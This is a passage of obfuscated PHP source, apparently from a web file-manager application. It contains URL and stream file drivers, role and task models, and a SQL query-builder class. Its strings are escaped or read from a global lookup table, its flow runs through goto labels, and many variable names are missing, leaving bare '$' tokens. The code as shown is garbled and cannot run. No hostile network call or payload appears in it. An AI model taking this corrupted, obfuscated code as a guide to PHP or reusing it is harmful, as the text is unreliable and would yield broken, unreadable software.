$this->cacheMethod($_SERVER[][165], $֠); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ = $this->ussRequest($, $[1508]); if (!$[$[1214]]) { return null; } $ = isset($[$[1204]]) ? $[$[1204]] : array(); if (!isset($[$[1509]])) { return null; } $ = array($[33] => isset($[$[1509]]) ? $[$[1509]] : null, $[76] => isset($[$[1510]]) ? $[$[1510]] : null, $[212] => isset($[$[1511]]) ? $[$[1511]] : null, $[1478] => isset($[$[1512]]) ? $[$[1512]] : null); $[$[1479]] = isset($[$[1513]]) ? strtotime($[$[1513]]) : $[$[1478]]; return $; } protected function _isFolder($͊) { $핦 =& $_SERVER[]; if ($͊ == $핦[12] || $͊ == $핦[8]) { return !0; } $؛ = $this->_objectMeta($͊); return isset($؛[$핦[33]]) && $؛[$핦[33]] == $핦[75] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($ɘ) { $ = $this->info($ɘ); return $[$_SERVER[][202]]; } public function isFile($؉) { $І = $this->info($؉); return $І[$_SERVER[][202]]; } public function isFolder($) { return !1; } public function size($᷍) { $썃 = $this->info($᷍); return $썃[$_SERVER[][76]]; } public function info($) { return $this->infoParse($); } public function infoAuth($Օ) { return $this->infoParse($Օ); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($) { return $this->infoParse($); } private function infoParse($³) { $ =& $_SERVER[]; $ = $this->header($³); if (!$ || !$[$[748]]) { return !1; } $ = _get($, $[337], 0); $˹ = array($[32] => $[$[32]], $[84] => $³, $[33] => $[200], $[76] => intval($), $[174] => get_path_ext($[$[32]]), $[1392] => $ > 0 && $[$[1514]], $[1393] => !1); return $˹; } private function header($Ŵ) { $٥Й =& $_SERVER[]; if (isset(self::$_cacheHeader[$Ŵ])) { return self::$_cacheHeader[$Ŵ]; } $ = isset($GLOBALS[$٥Й[1515]]) ? $GLOBALS[$٥Й[1515]] : !1; $GLOBALS[$٥Й[1515]] = !0; self::$_cacheHeader[$Ŵ] = url_header($Ŵ); $GLOBALS[$٥Й[1515]] = $; return self::$_cacheHeader[$Ŵ]; } public function hashSimple($̄, $ = false) { $ =& $_SERVER[]; $Պ = $this->info($̄); if (!$Պ || !$Պ[$[202]]) { return !1; } $ = $Պ[$[76]]; $̵ = 200; $Ǐ = 50; if ($ <= $̵ * $Ǐ) { return md5($this->fileSubstr($̄, 0, $)) . $; } $ = intval($ / $Ǐ); $ǒ = $[12]; $ = timeFloat(); $ = 15; for ($ù = 0; $ù < $Ǐ; $ù++) { if (timeFloat() - $ > $) { return !1; } $ = $this->fileSubstr($̄, $ * $ù, $̵); if (!$) { return !1; } $ǒ .= $; } $ǒ .= $this->fileSubstr($̄, $ - $̵, $̵); return md5($ǒ) . $; } public function getContent($ș) { return $this->fileSubstr($ș); } public function fileSubstr($͎, $ާ = 0, $뗪 = -1) { $ =& $_SERVER[]; $ϱ렵 = $this->info($͎); if (!$ϱ렵 || !$ϱ렵[$[202]] && $ϱ렵[$[76]] > 1024 * 1024 * 10) { return !1; } if ($뗪 === -1) { $뗪 = $ϱ렵[$[76]]; } if ($뗪 == 0) { return $[12]; } $艳 = array($[1516] . $ާ . $[781] . ($ާ + $뗪 - 1)); $꜐ = url_request($͎, $[230], !1, $艳, !1, !1, 30); return $꜐[$[1204]] ? $꜐[$[1204]] : $[12]; } public function download($Ǫ, $) { Downloader::start($Ǫ, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $˳ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][84]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $߂ = $this->fileSubstr($this->pose, $); $this->pose += strlen($߂); return $߂; } public function stream_tell() { return $this->pose; } public function stream_seek($, $҉ɬ) { $ =& $_SERVER[]; if ($҉ɬ == SEEK_SET) { $this->pose = $; } else { if ($҉ɬ == SEEK_CUR) { $this->pose += $; } else { if ($҉ɬ == SEEK_END) { $this->pose = $this->info[$[76]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[76]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][76]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($̐, $ƯΞ) { $ =& $_SERVER[]; $ = $this->info($̐); return array($[1517] => 0, $[1518] => 0, $[16] => 32768 + 511, $[1519] => 0, $[1520] => 0, $[1521] => 0, $[1522] => 0, $[76] => $[$[76]], $[1523] => $[$[1391]], $[1479] => $[$[85]], $[1478] => $[$[201]], $[1524] => 0, $[1525] => 0); } static $fileInfo = array(); public function info($) { $ = $_SERVER[][1526]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($)) != $) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($))); return self::$fileInfo[$]; } public static function read($ഋ, $Ӳ, $) { if (!isset(self::$_fopenCache[$ഋ])) { $֖ = new StreamWrapperIO(); $֖->stream_open($ഋ); self::$_fopenCache[$ഋ] = $֖; } $֖ = self::$_fopenCache[$ഋ]; return $֖->fileSubstr($Ӳ, $); } public static function _read($, $Ӓ, $씩) { $ =& $_SERVER[]; $䧡 = fopen($, $[1395]); if (!$䧡) { return $[12]; } $ϕ = 8192; fseek($䧡, $Ӓ, SEEK_SET); $ = $[12]; $ڈȗ = 0; while ($ڈȗ < $씩) { $♰Ư = min($ϕ, $씩 - $ڈȗ); $ .= fread($䧡, $♰Ư); $ڈȗ += $♰Ư; } fclose($䧡); return $; } public function fileSubstr($АĹ, $) { $˸ =& $_SERVER[]; $ = $this->info[$˸[76]]; $ = $АĹ; $ = $; if ($АĹ < 0) { $АĹ = $ + $АĹ; } if ($ === !1) { $ = $ - $АĹ; } if ($АĹ + $ > $) { $ = $ - $АĹ; } if ($ <= 0) { return $˸[12]; } if ($АĹ < 0 || $АĹ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\x6f\x46\151\154\x65\122\x65\x61\x64\x20\x65\x72\162\157\x72\41\x20\163\164\x61\x72\164\75{$АĹ}\73\154\x65\156\x67\164\150\75{$}\73\40\x73\x69\x7a\145\x3d{$}\73"); } $Ŝ = 64 * 1024; $Ñ =& self::$_chunkBuffer[$this->path]; if (!$Ñ) { $Ñ = array(); } $ = 0; $Ԑ = 0; $э = $˸[12]; foreach ($Ñ as $ => $э) { $ = intval($); $Ԑ = $ + strlen($э); if ($АĹ >= $Ԑ) { continue; } if ($АĹ >= $ && $АĹ + $ <= $Ԑ) { return substr($э, $АĹ - $, $); } break; } if (count($Ñ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($˸[1527], $˸[1528] . count($Ñ) . "\73\163\x74\141\x72\164\75{$АĹ}\54\154\145\156\x67\x74\x68\75{$}\73\x70\157\163\145\72{$}\x7e{$Ԑ}"); throw new Exception($˸[1529]); } $ = intval($АĹ / $Ŝ) * $Ŝ; $ = ceil(($АĹ + $) / $Ŝ) * $Ŝ - $; $ = IO::fileSubstr($this->path, $, $); $Ñ[$ . $˸[12]] = $; ksort($Ñ); $ڜɕ = substr($, $АĹ - $, $); return $ڜɕ; } private function log($, $ۖ) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1530], $, $this->info[$[32]], $, $ۖ), $[1184]); } } goto BÛ; flj˙: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\x6d\56\162\x6f\x6c\145\x4c\x69\163\164"; public $field = array("\156\141\x6d\145", "\141\165\x74\x68", "\154\x61\x62\x65\154", "\x64\151\163\160\x6c\141\171", "\x73\171\163\164\145\155", "\x64\x65\x73\143", "\151\147\156\x6f\x72\x65\105\x78\164", "\151\147\156\157\x72\x65\x46\151\154\x65\123\x69\172\x65", "\x61\x64\x6d\x69\156\151\x73\164\x72\141\x74\x6f\162", "\x73\157\x72\164"); public function listData($ = false, $ = "\x73\157\162\164", $ǚ = false) { $š =& $_SERVER[]; $˰ = parent::listData($, $, $ǚ); if (!$) { foreach ($˰ as $ڶ => $҉) { if ($҉[$š[2063]] == 1) { $˰[$ڶ][$š[453]] = LNG($š[2298]); } } } return $˰; } public function update($Ѡ, $ݗ) { $ =& $_SERVER[]; $듔 = parent::listData($Ѡ); $ = $this->findByName($ݗ[$[32]]); if (!$듔 || $ && $[$[399]] != $듔[$[399]]) { return !1; } if ($[$[2063]] == 1) { $ݗ = array($[32] => $ݗ[$[32]], $[1884] => $ݗ[$[1884]]); } $this->filterAuth($ݗ[$[413]]); return parent::update($Ѡ, $ݗ); } public function remove($̱) { $ɲ = parent::listData($̱); if (!$ɲ || $ɲ[$_SERVER[][1286]]) { return !1; } return parent::remove($̱); } public function add($ꆝ) { $ =& $_SERVER[]; $ᄅن = $ꆝ[$[32]]; if ($this->findByName($ᄅن)) { return !1; } $ = array($[420] => $ᄅن, $[1867] => $[12], $[1863] => $[1871], $[2299] => 1, $[1866] => 0, $[2300] => 0, $[1865] => $this->getSort()); $ꆝ = array_merge($, $ꆝ); $this->filterAuth($ꆝ[$[413]]); return parent::insert($ꆝ); } private function getSort() { $ܗ =& $_SERVER[]; $؞ = parent::listData(); $͊ = array_to_keyvalue($؞, $ܗ[12], $ܗ[1885]); return empty($͊) ? 0 : max($͊) + 1; } private function filterAuth(&$덃) { $ =& $_SERVER[]; $䆫ρ = array(); $ܧ = array_filter(explode($[50], $덃)); foreach ($ܧ as $덃) { $ = explode($[10], $덃); if ($[0] == $[2301] && $[1] != $[1192]) { $䈊 = $[0] . $[10] . $[1] . $[2302]; if (!in_array($䈊, $ܧ)) { $䆫ρ[] = $䈊; } } $䆫ρ[] = $덃; } $덃 = implode($[50], $䆫ρ); } public function findRoleDefault() { $ԩ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if (!$ || $[$ԩ[1883]] == $ԩ[198] || $[$ԩ[2063]] == 1) { continue; } if (strstr($[$ԩ[413]], $ԩ[2303])) { continue; } if (!strstr($[$ԩ[413]], $ԩ[2304])) { continue; } if (!$) { $ = $; continue; } $ = explode($ԩ[50], $[$ԩ[413]]); $ = explode($ԩ[50], $[$ԩ[413]]); if (count($) > count($)) { $ = $; } } return $ ? $[$ԩ[399]] : $ԩ[12]; } public function sort($ݶޜ, $) { return parent::update($ݶޜ, $); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\155\x2e\x74\141\163\x6b\114\151\163\x74"; public $field = array("\x6e\x61\x6d\x65", "\164\x79\160\x65", "\145\166\145\156\164", "\164\151\155\145", "\144\x65\163\143", "\163\x79\163\164\x65\x6d", "\x65\156\x61\142\x6c\145", "\154\141\163\x74\122\x75\156", "\x73\157\x72\164"); public function listData($ = false, $͕ = "\163\x6f\x72\164", $ = false) { return parent::listData($, $͕, $); } public function add($҃) { $ =& $_SERVER[]; $ = $this->findByName($҃[$[32]]); if ($) { return !1; } $҃[$[1630]] = 0; $҃[$[1885]] = $this->getSort(); return parent::insert($҃); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1885]); return empty($) ? 0 : max($) + 1; } public function update($, $ޙ) { $ =& $_SERVER[]; $Ԛ = $this->listData($); $ = $this->findByName($ޙ[$[32]]); if (!$Ԛ || $ && $[$[399]] != $Ԛ[$[399]]) { return !1; } return parent::update($, $ޙ); } public function remove($, $ʷ = false) { $蛵 =& $_SERVER[]; $枅 = $this->listData($); if (!$枅) { return; } if (!$ʷ && $枅[$蛵[1286]] == $蛵[88]) { return !1; } return parent::remove($); } public function enable($, $) { return $this->update($, array($_SERVER[][2293] => $)); } public function run($߬) { return $this->update($߬, array($_SERVER[][2305] => time())); } } goto E; fǽ: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\150\x69\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\75", "\x6e\x65\161" => "\74\76", "\147\x74" => "\x3e", "\145\x67\x74" => "\x3e\x3d", "\x6c\164" => "\74", "\x65\x6c\164" => "\74\75", "\x6e\157\164\154\151\x6b\x65" => "\116\x4f\124\x20\x4c\111\113\x45", "\154\x69\x6b\x65" => "\114\x49\113\x45", "\151\x6e" => "\111\116", "\x6e\157\x74\151\x6e" => "\x4e\117\124\40\111\116", "\x6e\157\164\x20\x69\156" => "\x4e\117\x54\x20\111\x4e", "\142\x65\164\167\x65\145\156" => "\102\105\x54\x57\x45\x45\x4e", "\x6e\x6f\164\142\x65\x74\x77\145\145\x6e" => "\116\117\x54\40\x42\x45\124\x57\x45\x45\116", "\156\157\x74\x20\142\145\164\167\145\x65\x6e" => "\116\x4f\124\40\102\105\124\x57\x45\x45\116"); protected $selectSql = "\x53\x45\114\105\x43\x54\x25\x44\111\123\124\x49\116\x43\x54\x25\x20\45\x46\x49\105\x4c\x44\x25\40\x46\x52\x4f\x4d\x20\x25\124\x41\102\114\x45\x25\45\x4a\x4f\111\116\x25\45\127\110\x45\122\x45\45\x25\x47\x52\117\x55\120\45\x25\x48\101\x56\x49\116\x47\45\x25\117\x52\104\x45\x52\x25\45\x4c\x49\115\x49\124\45\40\x25\x55\x4e\111\117\116\45\45\103\117\115\115\105\116\124\45"; protected $bind = array(); public static function getInstance() { $ߌ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][962], $ߌ); } public function factory($ؓ = '') { $ =& $_SERVER[]; $ؓ = $this->parseConfig($ؓ); if (empty($ؓ[$[963]])) { think_exception(think_lang($[964])); } $this->dbType = ucwords(strtolower($ؓ[$[963]])); $ʲ = $[965] . $this->dbType; if (class_exists($ʲ)) { $醾 = new $ʲ($ؓ); if ($[966] != strtolower($ؓ[$[963]])) { $醾->dbType = strtoupper($this->dbType); } else { $醾->dbType = $this->_getDsnType($ؓ[$[918]]); } } else { think_exception(think_lang($[967]) . $[968] . $ʲ); } return $醾; } public function __call($ߡҡ, $ۍ) { if (method_exists($this, $ߡҡ)) { return call_user_func_array(array($this, $ߡҡ), $ۍ); } } protected function _getDsnType($ǻ) { $ۧᳶ = explode($_SERVER[][4], $ǻ); $ = strtoupper(trim($ۧᳶ[0])); return $; } private function parseConfig($ = '') { $ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[963] => $[$[969]], $[890] => $[$[970]], $[891] => $[$[971]], $[888] => $[$[972]], $[889] => $[$[973]], $[21] => $[$[974]], $[918] => $[$[975]], $[17] => isset($[$[976]]) ? $[$[976]] : array()); } elseif (empty($)) { if (think_config($[977]) && $[966] != strtolower(think_config($[978]))) { $ = $this->parseDSN(think_config($[977])); } else { $ = array($[963] => think_config($[978]), $[890] => think_config($[979]), $[891] => think_config($[980]), $[888] => think_config($[981]), $[889] => think_config($[982]), $[21] => think_config($[246]), $[918] => think_config($[977]), $[17] => think_config($[983])); } } return $; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $Ȏ) { $this->_linkID = $Ȏ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($þ = false) { $މ =& $_SERVER[]; static $㇆ = array(); static $Ǭ = -1; if (empty($㇆)) { foreach ($this->config as $ɄɃ => $) { $㇆[$ɄɃ] = explode($މ[50], $); } } if (think_config($މ[984])) { if ($þ || think_config($މ[395]) === !0) { $җ = floor(mt_rand(0, think_config($މ[985]) - 1)); $Ǭ = $җ; } else { if (is_numeric(think_config($މ[986]))) { $җ = think_config($މ[986]); } else { $җ = floor(mt_rand(think_config($މ[985]), count($㇆[$މ[888]]) - 1)); } } } else { $җ = floor(mt_rand(0, count($㇆[$މ[888]]) - 1)); $Ǭ = $җ; } $җ = $Ǭ !== -1 ? $Ǭ : $җ; $ = array($މ[890] => isset($㇆[$މ[890]][$җ]) ? $㇆[$މ[890]][$җ] : $㇆[$މ[890]][0], $މ[891] => isset($㇆[$މ[891]][$җ]) ? $㇆[$މ[891]][$җ] : $㇆[$މ[891]][0], $މ[888] => isset($㇆[$މ[888]][$җ]) ? $㇆[$މ[888]][$җ] : $㇆[$މ[888]][0], $މ[889] => isset($㇆[$މ[889]][$җ]) ? $㇆[$މ[889]][$җ] : $㇆[$މ[889]][0], $މ[21] => isset($㇆[$މ[21]][$җ]) ? $㇆[$މ[21]][$җ] : $㇆[$މ[21]][0], $މ[918] => isset($㇆[$މ[918]][$җ]) ? $㇆[$މ[918]][$җ] : $㇆[$މ[918]][0], $މ[17] => isset($㇆[$މ[17]][$җ]) ? $㇆[$މ[17]][$җ] : $㇆[$މ[17]][0]); return $this->connect($, $җ); } public function parseDSN($) { $Đ =& $_SERVER[]; if (empty($)) { return !1; } $ǁ = parse_url($); if ($ǁ[$Đ[181]]) { $ɺ = array($Đ[963] => $ǁ[$Đ[181]], $Đ[890] => isset($ǁ[$Đ[590]]) ? $ǁ[$Đ[590]] : $Đ[12], $Đ[891] => isset($ǁ[$Đ[987]]) ? $ǁ[$Đ[987]] : $Đ[12], $Đ[888] => isset($ǁ[$Đ[182]]) ? $ǁ[$Đ[182]] : $Đ[12], $Đ[889] => isset($ǁ[$Đ[183]]) ? $ǁ[$Đ[183]] : $Đ[12], $Đ[21] => isset($ǁ[$Đ[84]]) ? substr($ǁ[$Đ[84]], 1) : $Đ[12]); } else { preg_match($Đ[988], trim($), $); $ɺ = array($Đ[963] => $[1], $Đ[890] => $[2], $Đ[891] => $[3], $Đ[888] => $[4], $Đ[889] => $[5], $Đ[21] => $[6]); } $ɺ[$Đ[918]] = $Đ[12]; return $ɺ; } protected function debug() { $˕ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $˕[989]; if (think_config($˕[990])) { think_status($˕[991]); think_trace($this->queryStr . $˕[992] . think_status($˕[24], $˕[991], 6) . $˕[993], $˕[12], $˕[994]); } } protected function parseLock($ = false) { $ =& $_SERVER[]; if (!$) { return $[12]; } if ($[920] == $this->dbType) { return $[995]; } return $[996]; } protected function parseSet($끤) { $ =& $_SERVER[]; foreach ($끤 as $ø => $) { if (is_array($) && $[297] == $[0]) { $荡[] = $this->parseKey($ø) . $[886] . $[1]; } elseif (is_scalar($) || is_null($)) { $荡[] = $this->parseKey($ø) . $[886] . $this->parseValue($); } } return $[997] . implode($[50], $荡); } protected function bindParam($ܯѲ, $헌) { $this->bind[$_SERVER[][4] . $ܯѲ] = $헌; } protected function parseBind($ለ) { $ለ = array_merge($this->bind, $ለ); $this->bind = array(); return $ለ; } function parseKey(&$Ș, $ĥ = true) { if ($ĥ) { $Ș = $this->parseKeyCheck($Ș); } return $Ș; } function parseKeyCheck($Ԩک) { $ԣ =& $_SERVER[]; $Ԩک = trim($Ԩک); if (!preg_match($ԣ[998], $Ԩک)) { think_exception($ԣ[999] . $Ԩک); } return $Ԩک; } protected function parseValue($րī) { $Ӻ =& $_SERVER[]; if (is_string($րī)) { $րī = $Ӻ[959] . $this->escapeString($րī) . $Ӻ[959]; } elseif (isset($րī[0]) && is_string($րī[0]) && strtolower($րī[0]) == $Ӻ[297]) { $րī = $this->escapeString($րī[1]); } elseif (is_array($րī)) { $րī = array_map(array($this, $Ӻ[960]), $րī); } elseif (is_bool($րī)) { $րī = $րī ? $Ӻ[88] : $Ӻ[198]; } elseif (is_null($րī)) { $րī = $Ӻ[103]; } return $րī; } protected function parseField($̋) { $ =& $_SERVER[]; if (is_string($̋) && strpos($̋, $[50])) { $̋ = explode($[50], $̋); } if (is_array($̋)) { $ﴧ = array(); foreach ($̋ as $Ս֑ => $ŏ) { if (!is_numeric($Ս֑)) { $ﴧ[] = $this->parseKey($Ս֑, !1) . $[1000] . $this->parseKey($ŏ); } else { $ﴧ[] = $this->parseKey($ŏ); } } $̌ = implode($[50], $ﴧ); } elseif (is_string($̋) && !empty($̋)) { $̌ = $̋; } else { $̌ = $[189]; } return $̌; } protected function parseTable($Ζ) { $ݼ =& $_SERVER[]; if (is_array($Ζ)) { $ȴ = array(); foreach ($Ζ as $ => $) { if (!is_numeric($)) { $ȴ[] = $this->parseKey($) . $ݼ[53] . $this->parseKey($); } else { $ȴ[] = $this->parseKey($); } } $Ζ = $ȴ; } elseif (is_string($Ζ)) { if (strstr($Ζ, $ݼ[53])) { return $Ζ; } $Ζ = explode($ݼ[50], $Ζ); array_walk($Ζ, array($this, $ݼ[908])); } return $ݼ[902] . trim(implode($ݼ[1001], $Ζ), $ݼ[385]) . $ݼ[902]; } protected function parseWhere($) { $滝 =& $_SERVER[]; $ʨ = $滝[12]; if (is_string($)) { $ʨ = $; } else { $ή = isset($[$滝[1002]]) ? strtoupper($[$滝[1002]]) : $滝[12]; if (in_array($ή, array($滝[1003], $滝[1004], $滝[1005]))) { $ή = $滝[53] . $ή . $滝[53]; unset($[$滝[1002]]); } else { $ή = $滝[1006]; } foreach ($ as $ => $Ę) { $ʨ .= $滝[277]; if (is_numeric($)) { $ = $滝[1007]; } if (0 === strpos($, $滝[11])) { $ʨ .= $this->parseThinkWhere($, $Ę); } else { if (!preg_match($滝[1008], trim($))) { think_exception(think_lang($滝[1009]) . $滝[4] . $); } $Ϯ = is_array($Ę) && isset($Ę[$滝[1010]]); $ = trim($); if (strpos($, $滝[283])) { $݆ = explode($滝[283], $); $ = array(); foreach ($݆ as $Ĝ => $ͯ) { $ = $Ϯ ? $Ę[$Ĝ] : $Ę; $[] = $滝[260] . $this->parseWhereItem($this->parseKey($ͯ), $) . $滝[907]; } $ʨ .= implode($滝[1011], $); } elseif (strpos($, $滝[284])) { $݆ = explode($滝[284], $); $ = array(); foreach ($݆ as $Ĝ => $ͯ) { $ = $Ϯ ? $Ę[$Ĝ] : $Ę; $[] = $滝[260] . $this->parseWhereItem($this->parseKey($ͯ), $) . $滝[907]; } $ʨ .= implode($滝[1006], $); } else { $ʨ .= $this->parseWhereItem($this->parseKey($), $Ę); } } $ʨ .= $滝[278] . $ή; } $ʨ = substr($ʨ, 0, -strlen($ή)); } return empty($ʨ) ? $滝[12] : $滝[1012] . $ʨ; } protected function parseWhereItem($ɿ, $) { $ =& $_SERVER[]; $ = $[12]; if (is_array($)) { if (is_string($[0])) { $փ = strtolower($[0]); if (in_array($[0], array($[886], $[1013], $[1014], $[1015], $[1016], $[1017]))) { $ .= $ɿ . $[53] . $[0] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1018], $[0])) { $ .= $ɿ . $[53] . $this->exp[$փ] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1019], $[0])) { if (is_array($[1])) { $ǁ = isset($[2]) ? strtoupper($[2]) : $[1004]; if (in_array($ǁ, array($[1003], $[1004], $[1005]))) { $ = array(); foreach ($[1] as $) { $[] = $ɿ . $[53] . $this->exp[$փ] . $[53] . $this->parseValue($); } $ .= $[260] . implode($[53] . $ǁ . $[53], $) . $[907]; } } else { $ .= $ɿ . $[53] . $this->exp[$փ] . $[53] . $this->parseValue($[1]); } } elseif ($[297] == $փ) { $ .= $[905] . $ɿ . $[53] . $[1] . $[1020]; } elseif (preg_match($[1021], $[0])) { $ .= $[0]; } elseif (preg_match($[1022], $[0])) { if (isset($[2]) && $[297] == $[2]) { $ .= $ɿ . $[53] . $this->exp[$փ] . $[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($[50], $[1]); } $ǝ = implode($[50], $this->parseValue($[1])); $ .= $ɿ . $[53] . $this->exp[$փ] . $[905] . $ǝ . $[907]; } } elseif (preg_match($[1023], $[0])) { $Д = is_string($[1]) ? explode($[50], $[1]) : $[1]; $ .= $[905] . $ɿ . $[53] . $this->exp[$փ] . $[53] . $this->parseValue($Д[0]) . $[1006] . $this->parseValue($Д[1]) . $[278]; } else { think_exception(think_lang($[1009]) . $[4] . $[0]); } } else { $ = count($); $ = $[12]; if (is_string($[$ - 1])) { $ = isset($[$ - 1]) ? strtoupper($[$ - 1]) : $[12]; if (in_array($, array($[1003], $[1004], $[1005]))) { $ = $ - 1; } } else { $ = $[1003]; } for ($ = 0; $ < $; $++) { $Д = is_array($[$]) ? $[$][1] : $[$]; if ($[297] == strtolower($[$][0])) { $ .= $[260] . $ɿ . $[53] . $Д . $[1020] . $ . $[53]; } else { $ſ = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $[886]; if (!$ſ && is_array($[$]) && in_array($[$][0], array($[886], $[1013], $[1014], $[1015], $[1016], $[1017]))) { $ſ = $[$][0]; } $ .= $[260] . $ɿ . $[53] . $ſ . $[53] . $this->parseValue($Д) . $[1020] . $ . $[53]; } } $ = substr($, 0, -4); } } else { $ .= $ɿ . $[1024] . $this->parseValue($); } return $; } protected function parseThinkWhere($, $) { $͓ =& $_SERVER[]; $Ҳ = $͓[12]; switch ($) { case $͓[352]: $Ҳ = $; break; case $͓[1007]: $Ҳ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $͓[1025]: parse_str($, $); if (isset($[$͓[1002]])) { $ƹσ = $͓[53] . strtoupper($[$͓[1002]]) . $͓[53]; unset($[$͓[1002]]); } else { $ƹσ = $͓[1006]; } $ = array(); foreach ($ as $ => $) { $[] = $this->parseKey($) . $͓[1024] . $this->parseValue($); } $Ҳ = implode($ƹσ, $); break; } return $Ҳ; } protected function parseLimit($˹) { $ =& $_SERVER[]; return !empty($˹) ? $[51] . $˹ . $[53] : $[12]; } protected function parseJoin($֪) { $Џ࣑ =& $_SERVER[]; $ = $Џ࣑[12]; if (!empty($֪)) { if (is_array($֪)) { foreach ($֪ as $ȿ => $Ɲ̀) { if (!1 !== stripos($Ɲ̀, $Џ࣑[1026])) { $ .= $Џ࣑[53] . $Ɲ̀; } else { $ .= $Џ࣑[1027] . $Ɲ̀; } } } else { $ .= $Џ࣑[1027] . $֪; } } $ = preg_replace($Џ࣑[1028], think_config($Џ࣑[932]) . $Џ࣑[1029], $); return $; } protected function parseOrder($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (is_numeric($)) { $[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($[1030], $[1031])) ? $[53] . $ : $[12]; if (preg_match($[1032], $)) { $[] = $this->parseKey($) . $; } else { think_exception($[1033] . $); } } } $ = implode($[50], $); } return !empty($) ? $[1034] . $ : $[12]; } protected function parseGroup($Ž) { $ֆ =& $_SERVER[]; return !empty($Ž) ? $ֆ[1035] . $Ž : $ֆ[12]; } protected function parseHaving($) { $Ȍ =& $_SERVER[]; return !empty($) ? $Ȍ[1036] . $ : $Ȍ[12]; } protected function parseComment($ܣ涷) { $ =& $_SERVER[]; return !empty($ܣ涷) ? $[1037] . $ܣ涷 . $[1038] : $[12]; } protected function parseDistinct($Ϗ) { $Ѫ =& $_SERVER[]; return !empty($Ϗ) ? $Ѫ[1039] : $Ѫ[12]; } protected function parseUnion($妀) { $笉Ѓ =& $_SERVER[]; if (empty($妀)) { return $笉Ѓ[12]; } if (isset($妀[$笉Ѓ[348]])) { $Ì = $笉Ѓ[1040]; unset($妀[$笉Ѓ[348]]); } else { $Ì = $笉Ѓ[1041]; } foreach ($妀 as $ֆ) { $ԑ[] = $Ì . (is_array($ֆ) ? $this->buildSelectSql($ֆ) : $ֆ); } return implode($笉Ѓ[53], $ԑ); } public function insert($, $ = array(), $ = false) { $ =& $_SERVER[]; $Ϙ = $ޱ = array(); $this->model = $[$[281]]; foreach ($ as $ᓩ => $ۭ) { if (is_array($ۭ) && $[297] == $ۭ[0]) { $ޱ[] = $this->parseKey($ᓩ); $Ϙ[] = $ۭ[1]; } elseif (is_scalar($ۭ) || is_null($ۭ)) { $ޱ[] = $this->parseKey($ᓩ); $Ϙ[] = $this->parseValue($ۭ); } } $Ø = ($ ? $[909] : $[910]) . $[911] . $this->parseTable($[$[279]]) . $[905] . implode($[50], $ޱ) . $[906] . implode($[50], $Ϙ) . $[907]; $Ø .= $this->parseLock(isset($[$[842]]) ? $[$[842]] : !1); $Ø .= $this->parseComment(!empty($[$[354]]) ? $[$[354]] : $[12]); return $this->execute($Ø, $this->parseBind(!empty($[$[285]]) ? $[$[285]] : array())); } public function selectInsert($, $˱, $ = array()) { $ =& $_SERVER[]; $this->model = $[$[281]]; if (is_string($)) { $ = explode($[50], $); } array_walk($, array($this, $[908])); $֕ = $[1042] . $this->parseTable($˱) . $[905] . implode($[50], $) . $[1020]; $֕ .= $this->buildSelectSql($); return $this->execute($֕, $this->parseBind(!empty($[$[285]]) ? $[$[285]] : array())); } public function update($, $) { $˜ =& $_SERVER[]; $this->model = $[$˜[281]]; $ɘ = $˜[1043] . $this->parseTable($[$˜[279]]) . $this->parseSet($) . $this->parseWhere(!empty($[$˜[275]]) ? $[$˜[275]] : $˜[12]) . $this->parseOrder(!empty($[$˜[365]]) ? $[$˜[365]] : $˜[12]) . 